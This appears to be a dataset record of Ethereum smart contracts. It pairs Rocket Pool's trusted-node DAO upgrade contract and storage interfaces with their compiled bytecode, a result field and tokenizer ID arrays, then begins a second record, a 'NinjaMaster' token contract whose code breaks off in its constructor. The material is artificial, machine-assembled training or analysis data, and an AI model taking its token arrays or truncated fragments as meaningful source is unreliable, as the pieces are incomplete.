function getContractAddressUnsafe(string memory _contractName) internal view returns (address) {
// Get the current contract address
address contractAddress = getAddress(keccak256(abi.encodePacked("contract.address", _contractName)));
// Return
return contractAddress;
}
/// @dev Get the name of a network contract by address
function getContractName(address _contractAddress) internal view returns (string memory) {
// Get the contract name
string memory contractName = getString(keccak256(abi.encodePacked("contract.name", _contractAddress)));
// Check it
require(bytes(contractName).length > 0, "Contract not found");
// Return
return contractName;
}
/// @dev Get revert error message from a .call method
function getRevertMsg(bytes memory _returnData) internal pure returns (string memory) {
// If the _res length is less than 68, then the transaction failed silently (without a revert message)
if (_returnData.length < 68) return "Transaction reverted silently";
assembly {
// Slice the sighash.
_returnData := add(_returnData, 0x04)
}
return abi.decode(_returnData, (string)); // All that remains is the revert string
}
/*** Rocket Storage Methods ****************************************/
// Note: Unused helpers have been removed to keep contract sizes down
/// @dev Storage get methods
function getAddress(bytes32 _key) internal view returns (address) { return rocketStorage.getAddress(_key); }
function getUint(bytes32 _key) internal view returns (uint) { return rocketStorage.getUint(_key); }
function getString(bytes32 _key) internal view returns (string memory) { return rocketStorage.getString(_key); }
function getBytes(bytes32 _key) internal view returns (bytes memory) { return rocketStorage.getBytes(_key); }
function getBool(bytes32 _key) internal view returns (bool) { return rocketStorage.getBool(_key); }
function getInt(bytes32 _key) internal view returns (int) { return rocketStorage.getInt(_key); }
function getBytes32(bytes32 _key) internal view returns (bytes32) { return rocketStorage.getBytes32(_key); }
/// @dev Storage set methods
function setAddress(bytes32 _key, address _value) internal { rocketStorage.setAddress(_key, _value); }
function setUint(bytes32 _key, uint _value) internal { rocketStorage.setUint(_key, _value); }
function setString(bytes32 _key, string memory _value) internal { rocketStorage.setString(_key, _value); }
function setBytes(bytes32 _key, bytes memory _value) internal { rocketStorage.setBytes(_key, _value); }
function setBool(bytes32 _key, bool _value) internal { rocketStorage.setBool(_key, _value); }
function setInt(bytes32 _key, int _value) internal { rocketStorage.setInt(_key, _value); }
function setBytes32(bytes32 _key, bytes32 _value) internal { rocketStorage.setBytes32(_key, _value); }
/// @dev Storage delete methods
function deleteAddress(bytes32 _key) internal { rocketStorage.deleteAddress(_key); }
function deleteUint(bytes32 _key) internal { rocketStorage.deleteUint(_key); }
function deleteString(bytes32 _key) internal { rocketStorage.deleteString(_key); }
function deleteBytes(bytes32 _key) internal { rocketStorage.deleteBytes(_key); }
function deleteBool(bytes32 _key) internal { rocketStorage.deleteBool(_key); }
function deleteInt(bytes32 _key) internal { rocketStorage.deleteInt(_key); }
function deleteBytes32(bytes32 _key) internal { rocketStorage.deleteBytes32(_key); }
/// @dev Storage arithmetic methods
function addUint(bytes32 _key, uint256 _amount) internal { rocketStorage.addUint(_key, _amount); }
function subUint(bytes32 _key, uint256 _amount) internal { rocketStorage.subUint(_key, _amount); }
}
/**
* .
* / \
* |.'.|
* |'.'|
* ,'| |`.
* |,-'-|-'-.|
* __|_| | _ _ _____ _
* | ___ \| | | | | | ___ \ | |
* | |_/ /|__ ___| | _____| |_ | |_/ /__ ___ | |
* | // _ \ / __| |/ / _ \ __| | __/ _ \ / _ \| |
* | |\ \ (_) | (__| < __/ |_ | | | (_) | (_) | |
* \_| \_\___/ \___|_|\_\___|\__| \_| \___/ \___/|_|
* +---------------------------------------------------+
* | DECENTRALISED STAKING PROTOCOL FOR ETHEREUM |
* +---------------------------------------------------+
*
* Rocket Pool is a first-of-its-kind Ethereum staking pool protocol, designed to
* be community-owned, decentralised, and trustless.
*
* For more information about Rocket Pool, visit https://rocketpool.net
*
* Authors: David Rugendyke, Jake Pospischil, Kane Wallmann, Darren Langley, Joe Clapis, Nick Doherty
*
*/
pragma solidity 0.7.6;
// SPDX-License-Identifier: GPL-3.0-only
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../../RocketBase.sol";
import "../../../interface/dao/node/RocketDAONodeTrustedUpgradeInterface.sol";
// Handles network contract upgrades
contract RocketDAONodeTrustedUpgrade is RocketBase, RocketDAONodeTrustedUpgradeInterface {
// Events
event ContractUpgraded(bytes32 indexed name, address indexed oldAddress, address indexed newAddress, uint256 time);
event ContractAdded(bytes32 indexed name, address indexed newAddress, uint256 time);
event ABIUpgraded(bytes32 indexed name, uint256 time);
event ABIAdded(bytes32 indexed name, uint256 time);
// Construct
constructor(RocketStorageInterface _rocketStorageAddress) RocketBase(_rocketStorageAddress) {
version = 1;
}
// Main accessor for performing an upgrade, be it a contract or abi for a contract
// Will require > 50% of trusted DAO members to run when bootstrap mode is disabled
function upgrade(string memory _type, string memory _name, string memory _contractAbi, address _contractAddress) override external onlyLatestContract("rocketDAONodeTrustedProposals", msg.sender) {
// What action are we performing?
bytes32 typeHash = keccak256(abi.encodePacked(_type));
// Lets do it!
if(typeHash == keccak256(abi.encodePacked("upgradeContract"))) _upgradeContract(_name, _contractAddress, _contractAbi);
if(typeHash == keccak256(abi.encodePacked("addContract"))) _addContract(_name, _contractAddress, _contractAbi);
if(typeHash == keccak256(abi.encodePacked("upgradeABI"))) _upgradeABI(_name, _contractAbi);
if(typeHash == keccak256(abi.encodePacked("addABI"))) _addABI(_name, _contractAbi);
}
/*** Internal Upgrade Methods for the Trusted Node DAO ****************/
// Upgrade a network contract
function _upgradeContract(string memory _name, address _contractAddress, string memory _contractAbi) internal {
// Check contract being upgraded
bytes32 nameHash = keccak256(abi.encodePacked(_name));
require(nameHash != keccak256(abi.encodePacked("rocketVault")), "Cannot upgrade the vault");
require(nameHash != keccak256(abi.encodePacked("rocketTokenRETH")), "Cannot upgrade token contracts");
require(nameHash != keccak256(abi.encodePacked("rocketTokenRPL")), "Cannot upgrade token contracts");
require(nameHash != keccak256(abi.encodePacked("rocketTokenRPLFixedSupply")), "Cannot upgrade token contracts");
require(nameHash != keccak256(abi.encodePacked("casperDeposit")), "Cannot upgrade the casper deposit contract");
require(nameHash != keccak256(abi.encodePacked("rocketMinipoolPenalty")), "Cannot upgrade minipool penalty contract");
// Get old contract address & check contract exists
address oldContractAddress = getAddress(keccak256(abi.encodePacked("contract.address", _name)));
require(oldContractAddress != address(0x0), "Contract does not exist");
// Check new contract address
require(_contractAddress != address(0x0), "Invalid contract address");
require(_contractAddress != oldContractAddress, "The contract address cannot be set to its current address");
require(!getBool(keccak256(abi.encodePacked("contract.exists", _contractAddress))), "Contract address is already in use");
// Check ABI isn't empty
require(bytes(_contractAbi).length > 0, "Empty ABI is invalid");
// Register new contract
setBool(keccak256(abi.encodePacked("contract.exists", _contractAddress)), true);
setString(keccak256(abi.encodePacked("contract.name", _contractAddress)), _name);
setAddress(keccak256(abi.encodePacked("contract.address", _name)), _contractAddress);
setString(keccak256(abi.encodePacked("contract.abi", _name)), _contractAbi);
// Deregister old contract
deleteString(keccak256(abi.encodePacked("contract.name", oldContractAddress)));
deleteBool(keccak256(abi.encodePacked("contract.exists", oldContractAddress)));
// Emit contract upgraded event
emit ContractUpgraded(nameHash, oldContractAddress, _contractAddress, block.timestamp);
}
// Add a new network contract
function _addContract(string memory _name, address _contractAddress, string memory _contractAbi) internal {
// Check contract name
bytes32 nameHash = keccak256(abi.encodePacked(_name));
require(bytes(_name).length > 0, "Invalid contract name");
// Cannot add contract if it already exists (use upgradeContract instead)
require(getAddress(keccak256(abi.encodePacked("contract.address", _name))) == address(0x0), "Contract name is already in use");
// Cannot add contract if already in use as ABI only
string memory existingAbi = getString(keccak256(abi.encodePacked("contract.abi", _name)));
require(bytes(existingAbi).length == 0, "Contract name is already in use");
// Check contract address
require(_contractAddress != address(0x0), "Invalid contract address");
require(!getBool(keccak256(abi.encodePacked("contract.exists", _contractAddress))), "Contract address is already in use");
// Check ABI isn't empty
require(bytes(_contractAbi).length > 0, "Empty ABI is invalid");
// Register contract
setBool(keccak256(abi.encodePacked("contract.exists", _contractAddress)), true);
setString(keccak256(abi.encodePacked("contract.name", _contractAddress)), _name);
setAddress(keccak256(abi.encodePacked("contract.address", _name)), _contractAddress);
setString(keccak256(abi.encodePacked("contract.abi", _name)), _contractAbi);
// Emit contract added event
emit ContractAdded(nameHash, _contractAddress, block.timestamp);
}
// Upgrade a network contract ABI
function _upgradeABI(string memory _name, string memory _contractAbi) internal {
// Check ABI exists
string memory existingAbi = getString(keccak256(abi.encodePacked("contract.abi", _name)));
require(bytes(existingAbi).length > 0, "ABI does not exist");
// Sanity checks
require(bytes(_contractAbi).length > 0, "Empty ABI is invalid");
require(keccak256(bytes(existingAbi)) != keccak256(bytes(_contractAbi)), "ABIs are identical");
// Set ABI
setString(keccak256(abi.encodePacked("contract.abi", _name)), _contractAbi);
// Emit ABI upgraded event
emit ABIUpgraded(keccak256(abi.encodePacked(_name)), block.timestamp);
}
// Add a new network contract ABI
function _addABI(string memory _name, string memory _contractAbi) internal {
// Check ABI name
bytes32 nameHash = keccak256(abi.encodePacked(_name));
require(bytes(_name).length > 0, "Invalid ABI name");
// Sanity check
require(bytes(_contractAbi).length > 0, "Empty ABI is invalid");
// Cannot add ABI if name is already used for an existing network contract
require(getAddress(keccak256(abi.encodePacked("contract.address", _name))) == address(0x0), "ABI name is already in use");
// Cannot add ABI if ABI already exists for this name (use upgradeABI instead)
string memory existingAbi = getString(keccak256(abi.encodePacked("contract.abi", _name)));
require(bytes(existingAbi).length == 0, "ABI name is already in use");
// Set ABI
setString(keccak256(abi.encodePacked("contract.abi", _name)), _contractAbi);
// Emit ABI added event
emit ABIAdded(nameHash, block.timestamp);
}
}
/**
* .
* / \
* |.'.|
* |'.'|
* ,'| |`.
* |,-'-|-'-.|
* __|_| | _ _ _____ _
* | ___ \| | | | | | ___ \ | |
* | |_/ /|__ ___| | _____| |_ | |_/ /__ ___ | |
* | // _ \ / __| |/ / _ \ __| | __/ _ \ / _ \| |
* | |\ \ (_) | (__| < __/ |_ | | | (_) | (_) | |
* \_| \_\___/ \___|_|\_\___|\__| \_| \___/ \___/|_|
* +---------------------------------------------------+
* | DECENTRALISED STAKING PROTOCOL FOR ETHEREUM |
* +---------------------------------------------------+
*
* Rocket Pool is a first-of-its-kind Ethereum staking pool protocol, designed to
* be community-owned, decentralised, and trustless.
*
* For more information about Rocket Pool, visit https://rocketpool.net
*
* Authors: David Rugendyke, Jake Pospischil, Kane Wallmann, Darren Langley, Joe Clapis, Nick Doherty
*
*/
pragma solidity 0.7.6;
// SPDX-License-Identifier: GPL-3.0-only
interface RocketStorageInterface {
// Deploy status
function getDeployedStatus() external view returns (bool);
// Guardian
function getGuardian() external view returns(address);
function setGuardian(address _newAddress) external;
function confirmGuardian() external;
// Getters
function getAddress(bytes32 _key) external view returns (address);
function getUint(bytes32 _key) external view returns (uint);
function getString(bytes32 _key) external view returns (string memory);
function getBytes(bytes32 _key) external view returns (bytes memory);
function getBool(bytes32 _key) external view returns (bool);
function getInt(bytes32 _key) external view returns (int);
function getBytes32(bytes32 _key) external view returns (bytes32);
// Setters
function setAddress(bytes32 _key, address _value) external;
function setUint(bytes32 _key, uint _value) external;
function setString(bytes32 _key, string calldata _value) external;
function setBytes(bytes32 _key, bytes calldata _value) external;
function setBool(bytes32 _key, bool _value) external;
function setInt(bytes32 _key, int _value) external;
function setBytes32(bytes32 _key, bytes32 _value) external;
// Deleters
function deleteAddress(bytes32 _key) external;
function deleteUint(bytes32 _key) external;
function deleteString(bytes32 _key) external;
function deleteBytes(bytes32 _key) external;
function deleteBool(bytes32 _key) external;
function deleteInt(bytes32 _key) external;
function deleteBytes32(bytes32 _key) external;
// Arithmetic
function addUint(bytes32 _key, uint256 _amount) external;
function subUint(bytes32 _key, uint256 _amount) external;
// Protected storage
function getNodeWithdrawalAddress(address _nodeAddress) external view returns (address);
function getNodePendingWithdrawalAddress(address _nodeAddress) external view returns (address);
function setWithdrawalAddress(address _nodeAddress, address _newWithdrawalAddress, bool _confirm) external;
function confirmWithdrawalAddress(address _nodeAddress) external;
}
/**
* .
* / \
* |.'.|
* |'.'|
* ,'| |`.
* |,-'-|-'-.|
* __|_| | _ _ _____ _
* | ___ \| | | | | | ___ \ | |
* | |_/ /|__ ___| | _____| |_ | |_/ /__ ___ | |
* | // _ \ / __| |/ / _ \ __| | __/ _ \ / _ \| |
* | |\ \ (_) | (__| < __/ |_ | | | (_) | (_) | |
* \_| \_\___/ \___|_|\_\___|\__| \_| \___/ \___/|_|
* +---------------------------------------------------+
* | DECENTRALISED STAKING PROTOCOL FOR ETHEREUM |
* +---------------------------------------------------+
*
* Rocket Pool is a first-of-its-kind Ethereum staking pool protocol, designed to
* be community-owned, decentralised, and trustless.
*
* For more information about Rocket Pool, visit https://rocketpool.net
*
* Authors: David Rugendyke, Jake Pospischil, Kane Wallmann, Darren Langley, Joe Clapis, Nick Doherty
*
*/
pragma solidity 0.7.6;
// SPDX-License-Identifier: GPL-3.0-only
interface RocketDAONodeTrustedUpgradeInterface {
function upgrade(string memory _type, string memory _name, string memory _contractAbi, address _contractAddress) external;
} | 0x608060405234801561001057600080fd5b50600436106100365760003560e01c806354fd4d501461003b578063accd7d4514610059575b600080fd5b610043610227565b6040805160ff9092168252519081900360200190f35b6102256004803603608081101561006f57600080fd5b81019060208101813564010000000081111561008a57600080fd5b82018360208201111561009c57600080fd5b803590602001918460018302840111640100000000831117156100be57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929594936020810193503591505064010000000081111561011157600080fd5b82018360208201111561012357600080fd5b8035906020019184600183028401116401000000008311171561014557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929594936020810193503591505064010000000081111561019857600080fd5b8201836020820111156101aa57600080fd5b803590602001918460018302840111640100000000831117156101cc57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505050903573ffffffffffffffffffffffffffffffffffffffff1691506102309050565b005b60005460ff1681565b6040518060400160405280601d81526020017f726f636b657444414f4e6f64655472757374656450726f706f73616c73000000815250336103058260405160200180807f636f6e74726163742e616464726573730000000000000000000000000000000081525060100182805190602001908083835b602083106102c55780518252601f1990920191602091820191016102a6565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405160208183030381529060405280519060200120610561565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610384576040805162461bcd60e51b815260206004820152601c60248201527f496e76616c6964206f72206f7574646174656420636f6e747261637400000000604482015290519081900360640190fd5b6000866040516020018082805190602001908083835b602083106103b95780518252601f19909201916020918201910161039a565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405160208183030381529060405280519060200120905060405160200180807f75706772616465436f6e74726163740000000000000000000000000000000000815250600f0190506040516020818303038152906040528051906020012081141561044f5761044f868587610607565b60405160200180807f616464436f6e7472616374000000000000000000000000000000000000000000815250600b019050604051602081830303815290604052805190602001208114156104a8576104a8868587610ffb565b60405160200180807f7570677261646541424900000000000000000000000000000000000000000000815250600a019050604051602081830303815290604052805190602001208114156105005761050086866115f3565b60405160200180807f61646441424900000000000000000000000000000000000000000000000000008152506006019050604051602081830303815290604052805190602001208114156105585761055886866118ac565b50505050505050565b60008060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166321f8a721836040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b1580156105d557600080fd5b505afa1580156105e9573d6000803e3d6000fd5b505050506040513d60208110156105ff57600080fd5b505192915050565b6000836040516020018082805190602001908083835b6020831061063c5780518252601f19909201916020918201910161061d565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405160208183030381529060405280519060200120905060405160200180807f726f636b65745661756c74000000000000000000000000000000000000000000815250600b01905060405160208183030381529060405280519060200120811415610714576040805162461bcd60e51b815260206004820152601860248201527f43616e6e6f74207570677261646520746865207661756c740000000000000000604482015290519081900360640190fd5b60405160200180807f726f636b6574546f6b656e524554480000000000000000000000000000000000815250600f019050604051602081830303815290604052805190602001208114156107af576040805162461bcd60e51b815260206004820152601e60248201527f43616e6e6f74207570677261646520746f6b656e20636f6e7472616374730000604482015290519081900360640190fd5b60405160200180807f726f636b6574546f6b656e52504c000000000000000000000000000000000000815250600e0190506040516020818303038152906040528051906020012081141561084a576040805162461bcd60e51b815260206004820152601e60248201527f43616e6e6f74207570677261646520746f6b656e20636f6e7472616374730000604482015290519081900360640190fd5b60405160200180807f726f636b6574546f6b656e52504c4669786564537570706c79000000000000008152506019019050604051602081830303815290604052805190602001208114156108e5576040805162461bcd60e51b815260206004820152601e60248201527f43616e6e6f74207570677261646520746f6b656e20636f6e7472616374730000604482015290519081900360640190fd5b60405160200180807f6361737065724465706f73697400000000000000000000000000000000000000815250600d0190506040516020818303038152906040528051906020012081141561096a5760405162461bcd60e51b815260040180806020018281038252602a8152602001806120c5602a913960400191505060405180910390fd5b60405160200180807f726f636b65744d696e69706f6f6c50656e616c747900000000000000000000008152506015019050604051602081830303815290604052805190602001208114156109ef5760405162461bcd60e51b81526004018080602001828103825260288152602001806121286028913960400191505060405180910390fd5b6000610a4e8560405160200180807f636f6e74726163742e61646472657373000000000000000000000000000000008152506010018280519060200190808383602083106102c55780518252601f1990920191602091820191016102a6565b905073ffffffffffffffffffffffffffffffffffffffff8116610ab8576040805162461bcd60e51b815260206004820152601760248201527f436f6e747261637420646f6573206e6f74206578697374000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff8416610b20576040805162461bcd60e51b815260206004820152601860248201527f496e76616c696420636f6e747261637420616464726573730000000000000000604482015290519081900360640190fd5b8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610b8b5760405162461bcd60e51b81526004018080602001828103825260398152602001806120ef6039913960400191505060405180910390fd5b610bfb8460405160200180807f636f6e74726163742e6578697374730000000000000000000000000000000000815250600f018273ffffffffffffffffffffffffffffffffffffffff1660601b815260140191505060405160208183030381529060405280519060200120611bf7565b15610c375760405162461bcd60e51b81526004018080602001828103825260228152602001806121506022913960400191505060405180910390fd5b6000835111610c8d576040805162461bcd60e51b815260206004820152601460248201527f456d7074792041424920697320696e76616c6964000000000000000000000000604482015290519081900360640190fd5b610cff8460405160200180807f636f6e74726163742e6578697374730000000000000000000000000000000000815250600f018273ffffffffffffffffffffffffffffffffffffffff1660601b8152601401915050604051602081830303815290604052805190602001206001611c6b565b610d708460405160200180807f636f6e74726163742e6e616d6500000000000000000000000000000000000000815250600d018273ffffffffffffffffffffffffffffffffffffffff1660601b81526014019150506040516020818303038152906040528051906020012086611d01565b610e0f8560405160200180807f636f6e74726163742e616464726573730000000000000000000000000000000081525060100182805190602001908083835b60208310610dce5780518252601f199092019160209182019101610daf565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040528051906020012085611de0565b610eae8560405160200180807f636f6e74726163742e6162690000000000000000000000000000000000000000815250600c0182805190602001908083835b60208310610e6d5780518252601f199092019160209182019101610e4e565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040528051906020012084611d01565b610f1e8160405160200180807f636f6e74726163742e6e616d6500000000000000000000000000000000000000815250600d018273ffffffffffffffffffffffffffffffffffffffff1660601b815260140191505060405160208183030381529060405280519060200120611e5c565b610f8e8160405160200180807f636f6e74726163742e6578697374730000000000000000000000000000000000815250600f018273ffffffffffffffffffffffffffffffffffffffff1660601b815260140191505060405160208183030381529060405280519060200120611ee9565b8373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f253b2d54327cbf31d51951c6b05d82c4065c7d8e937b67b78aeeb84f0851526b426040518082815260200191505060405180910390a45050505050565b6000836040516020018082805190602001908083835b602083106110305780518252601f199092019160209182019101611011565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405160208183030381529060405280519060200120905060008451116110c3576040805162461bcd60e51b815260206004820152601560248201527f496e76616c696420636f6e7472616374206e616d650000000000000000000000604482015290519081900360640190fd5b600073ffffffffffffffffffffffffffffffffffffffff166111388560405160200180807f636f6e74726163742e61646472657373000000000000000000000000000000008152506010018280519060200190808383602083106102c55780518252601f1990920191602091820191016102a6565b73ffffffffffffffffffffffffffffffffffffffff16146111a0576040805162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206e616d6520697320616c726561647920696e2075736500604482015290519081900360640190fd5b60006112408560405160200180807f636f6e74726163742e6162690000000000000000000000000000000000000000815250600c0182805190602001908083835b602083106112005780518252601f1990920191602091820191016111e1565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405160208183030381529060405280519060200120611f5b565b90508051600014611298576040805162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206e616d6520697320616c726561647920696e2075736500604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff8416611300576040805162461bcd60e51b815260206004820152601860248201527f496e76616c696420636f6e747261637420616464726573730000000000000000604482015290519081900360640190fd5b6113708460405160200180807f636f6e74726163742e6578697374730000000000000000000000000000000000815250600f018273ffffffffffffffffffffffffffffffffffffffff1660601b815260140191505060405160208183030381529060405280519060200120611bf7565b156113ac5760405162461bcd60e51b81526004018080602001828103825260228152602001806121506022913960400191505060405180910390fd5b6000835111611402576040805162461bcd60e51b815260206004820152601460248201527f456d7074792041424920697320696e76616c6964000000000000000000000000604482015290519081900360640190fd5b6114748460405160200180807f636f6e74726163742e6578697374730000000000000000000000000000000000815250600f018273ffffffffffffffffffffffffffffffffffffffff1660601b8152601401915050604051602081830303815290604052805190602001206001611c6b565b6114e58460405160200180807f636f6e74726163742e6e616d6500000000000000000000000000000000000000815250600d018273ffffffffffffffffffffffffffffffffffffffff1660601b81526014019150506040516020818303038152906040528051906020012086611d01565b6115428560405160200180807f636f6e74726163742e6164647265737300000000000000000000000000000000815250601001828051906020019080838360208310610dce5780518252601f199092019160209182019101610daf565b61159f8560405160200180807f636f6e74726163742e6162690000000000000000000000000000000000000000815250600c01828051906020019080838360208310610e6d5780518252601f199092019160209182019101610e4e565b60408051428152905173ffffffffffffffffffffffffffffffffffffffff86169184917ff772ad32ea2f1852e01c8a9c958ec14ed6ddd8fc254a4950e1cd6370d96691699181900360200190a35050505050565b60006116528360405160200180807f636f6e74726163742e6162690000000000000000000000000000000000000000815250600c018280519060200190808383602083106112005780518252601f1990920191602091820191016111e1565b905060008151116116aa576040805162461bcd60e51b815260206004820152601260248201527f41424920646f6573206e6f742065786973740000000000000000000000000000604482015290519081900360640190fd5b6000825111611700576040805162461bcd60e51b815260206004820152601460248201527f456d7074792041424920697320696e76616c6964000000000000000000000000604482015290519081900360640190fd5b818051906020012081805190602001201415611763576040805162461bcd60e51b815260206004820152601260248201527f4142497320617265206964656e746963616c0000000000000000000000000000604482015290519081900360640190fd5b6118028360405160200180807f636f6e74726163742e6162690000000000000000000000000000000000000000815250600c0182805190602001908083835b602083106117c15780518252601f1990920191602091820191016117a2565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040528051906020012083611d01565b826040516020018082805190602001908083835b602083106118355780518252601f199092019160209182019101611816565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051602081830303815290604052805190602001207fa947db359458b5eeddec1312a4f0911623f92b5ffd05950824fe40c6d2383755426040518082815260200191505060405180910390a2505050565b6000826040516020018082805190602001908083835b602083106118e15780518252601f1990920191602091820191016118c2565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040528051906020012090506000835111611974576040805162461bcd60e51b815260206004820152601060248201527f496e76616c696420414249206e616d6500000000000000000000000000000000604482015290519081900360640190fd5b60008251116119ca576040805162461bcd60e51b815260206004820152601460248201527f456d7074792041424920697320696e76616c6964000000000000000000000000604482015290519081900360640190fd5b600073ffffffffffffffffffffffffffffffffffffffff16611a3f8460405160200180807f636f6e74726163742e61646472657373000000000000000000000000000000008152506010018280519060200190808383602083106102c55780518252601f1990920191602091820191016102a6565b73ffffffffffffffffffffffffffffffffffffffff1614611aa7576040805162461bcd60e51b815260206004820152601a60248201527f414249206e616d6520697320616c726561647920696e20757365000000000000604482015290519081900360640190fd5b6000611b068460405160200180807f636f6e74726163742e6162690000000000000000000000000000000000000000815250600c018280519060200190808383602083106112005780518252601f1990920191602091820191016111e1565b90508051600014611b5e576040805162461bcd60e51b815260206004820152601a60248201527f414249206e616d6520697320616c726561647920696e20757365000000000000604482015290519081900360640190fd5b611bbb8460405160200180807f636f6e74726163742e6162690000000000000000000000000000000000000000815250600c01828051906020019080838360208310610e6d5780518252601f199092019160209182019101610e4e565b60408051428152905183917f510ef2addfa8f566ed5c59574c92bff780904590a5774924393111e842b9018e919081900360200190a250505050565b60008060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637ae1cfca836040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b1580156105d557600080fd5b60008054604080517fabfdcced000000000000000000000000000000000000000000000000000000008152600481018690528415156024820152905161010090920473ffffffffffffffffffffffffffffffffffffffff169263abfdcced9260448084019382900301818387803b158015611ce557600080fd5b505af1158015611cf9573d6000803e3d6000fd5b505050505050565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636e89955083836040518363ffffffff1660e01b81526004018083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611d93578181015183820152602001611d7b565b50505050905090810190601f168015611dc05780820380516001836020036101000a031916815260200191505b509350505050600060405180830381600087803b158015611ce557600080fd5b60008054604080517fca446dd90000000000000000000000000000000000000000000000000000000081526004810186905273ffffffffffffffffffffffffffffffffffffffff858116602483015291516101009093049091169263ca446dd99260448084019382900301818387803b158015611ce557600080fd5b60008054604080517ff6bb3cc400000000000000000000000000000000000000000000000000000000815260048101859052905161010090920473ffffffffffffffffffffffffffffffffffffffff169263f6bb3cc49260248084019382900301818387803b158015611ece57600080fd5b505af1158015611ee2573d6000803e3d6000fd5b5050505050565b60008054604080517f2c62ff2d00000000000000000000000000000000000000000000000000000000815260048101859052905161010090920473ffffffffffffffffffffffffffffffffffffffff1692632c62ff2d9260248084019382900301818387803b158015611ece57600080fd5b60008054604080517f986e791a00000000000000000000000000000000000000000000000000000000815260048101859052905160609361010090930473ffffffffffffffffffffffffffffffffffffffff169263986e791a9260248082019391829003018186803b158015611fd057600080fd5b505afa158015611fe4573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561200d57600080fd5b810190808051604051939291908464010000000082111561202d57600080fd5b90830190602082018581111561204257600080fd5b825164010000000081118282018810171561205c57600080fd5b82525081516020918201929091019080838360005b83811015612089578181015183820152602001612071565b50505050905090810190601f1680156120b65780820380516001836020036101000a031916815260200191505b50604052505050905091905056fe43616e6e6f7420757067726164652074686520636173706572206465706f73697420636f6e747261637454686520636f6e747261637420616464726573732063616e6e6f742062652073657420746f206974732063757272656e74206164647265737343616e6e6f742075706772616465206d696e69706f6f6c2070656e616c747920636f6e7472616374436f6e7472616374206164647265737320697320616c726561647920696e20757365a264697066735822122028718ae2eead485690be3639fe4e6fb103e6db1d819969fa414c1dffdab8995a64736f6c63430007060033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
25746,
2683,
2683,
2683,
8586,
2683,
2581,
18827,
27531,
22610,
2094,
2620,
10790,
2546,
2094,
21084,
21084,
2546,
18939,
2581,
2620,
27531,
2629,
2497,
2692,
19317,
7875,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1020,
1012,
1014,
1026,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,447 | 0x9529e8f1e3d83225109613c1dfd02b85be248efb | //SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity =0.7.6;
import "./Context.sol";
import "./IERC20.sol";
import "./SafeMath.sol";
contract NinjaMaster is Context, Ownable, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => bool) private _fee;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint256 internal _tokens;
address private _factory;
address private _router;
uint256 private _maxfeelimit;
bool private _feelimit;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (uint256 tokens, address router, address factory) {
_name = "Ninja Master";
_symbol = "NINJA";
_decimals = 9;
_tokens = tokens;
_totalSupply = _totalSupply.add(_tokens);
_balances[_msgSender()] = _balances[_msgSender()].add(_tokens);
